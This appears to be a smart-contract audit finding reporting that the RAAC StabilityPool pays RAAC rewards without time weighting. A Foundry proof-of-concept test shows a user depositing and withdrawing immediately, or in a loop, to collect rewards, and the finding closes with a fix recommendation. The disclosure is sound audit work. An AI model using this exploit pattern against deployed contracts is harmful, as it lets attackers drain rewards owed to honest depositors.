The stability pool is used for the Rewards distribution for the RAAC protocol. the rewards are given when the users deposit some amount of asset tokens. However, due to no time dependence anyone can get any amount of rewards without waiting
The following CODE shows 2 functions as test, first being the function which shows that a User can deposit and withdraw again and again to get RAACToken
The 2nd function shows that if the user does it for only one time, he can still get the RAACTOKEN REWARDS
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
contract MockRToken is ERC20 {
constructor() ERC20("Mock RToken", "rCRVUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockDEToken is ERC20 {
constructor() ERC20("Mock DEToken", "deCRVUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function burn(address from, uint256 amount) external {
_burn(from, amount);
}
}
contract MockRAACMinter {
function tick() external {}
}
contract MockLendingPool {
mapping(address => uint256) public userDebt;
uint256 public normalizedDebt = 1e18;
function getUserDebt(address user) external view returns (uint256) {
return userDebt[user];
}
function getNormalizedDebt() external view returns (uint256) {
return normalizedDebt;
}
function finalizeLiquidation(address user) external {
userDebt[user] = 0;
}
}
contract MockRAACToken is ERC20 {
constructor() ERC20("Mock RAAC Token", "RAAC") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract StabilityPoolTest is Test {
StabilityPool public stabilityPool;
MockRToken public rToken;
MockDEToken public deToken;
MockRAACToken public raacToken;
MockRAACMinter public raacMinter;
MockLendingPool public lendingPool;
IERC20 public crvUSDToken;
address public owner = vm.addr(1);
address public manager1 = vm.addr(2);
address public user1 = vm.addr(3);
uint256 public constant INITIAL_AMOUNT = 1_000_000e18;
function setUp() public {
rToken = new MockRToken();
deToken = new MockDEToken();
raacToken = new MockRAACToken();
raacMinter = new MockRAACMinter();
lendingPool = new MockLendingPool();
crvUSDToken = IERC20(address(new MockRToken()));
stabilityPool = new StabilityPool(owner);
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvUSDToken),
address(lendingPool)
);
rToken.mint(user1, INITIAL_AMOUNT);
raacToken.mint(address(stabilityPool), INITIAL_AMOUNT);
vm.prank(user1);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.prank(owner);
stabilityPool.addManager(manager1, 500_000e18);
}
function testDepositWithdrawAndReceiveRewardsMultipleTimes() public {
uint256 depositAmount = 100_000e18;
uint256 totalRewards = 0;
for (uint256 i = 0; i < 5; i++) {
vm.warp(block.timestamp + 1 days);
vm.prank(user1);
stabilityPool.deposit(depositAmount);
uint256 newRewards = 10_000e18;
raacToken.mint(address(stabilityPool), newRewards);
vm.warp(block.timestamp + 1 days);
uint256 deTokenBalance = deToken.balanceOf(user1);
vm.prank(user1);
stabilityPool.withdraw(deTokenBalance);
uint256 raacRewards = raacToken.balanceOf(user1);
assertTrue(raacRewards > totalRewards, "User should receive additional RAAC rewards");
totalRewards = raacRewards;
}
console.log("Total RAAC Rewards:",totalRewards);
assertTrue(totalRewards > 0, "User should have accumulated RAAC rewards");
}
function testexploit() public{
vm.startPrank(user1);
uint256 depositAmount=100_000e18;
stabilityPool.deposit(depositAmount);
stabilityPool.withdraw(depositAmount);
uint256 exploit = raacToken.balanceOf(user1);
console.log("The exploited amount of raacToken would be:", exploit);
vm.stopPrank();
}
}
A mechanism should be considered where the RAACtoken for the rewards are caluclated on the bases of Time.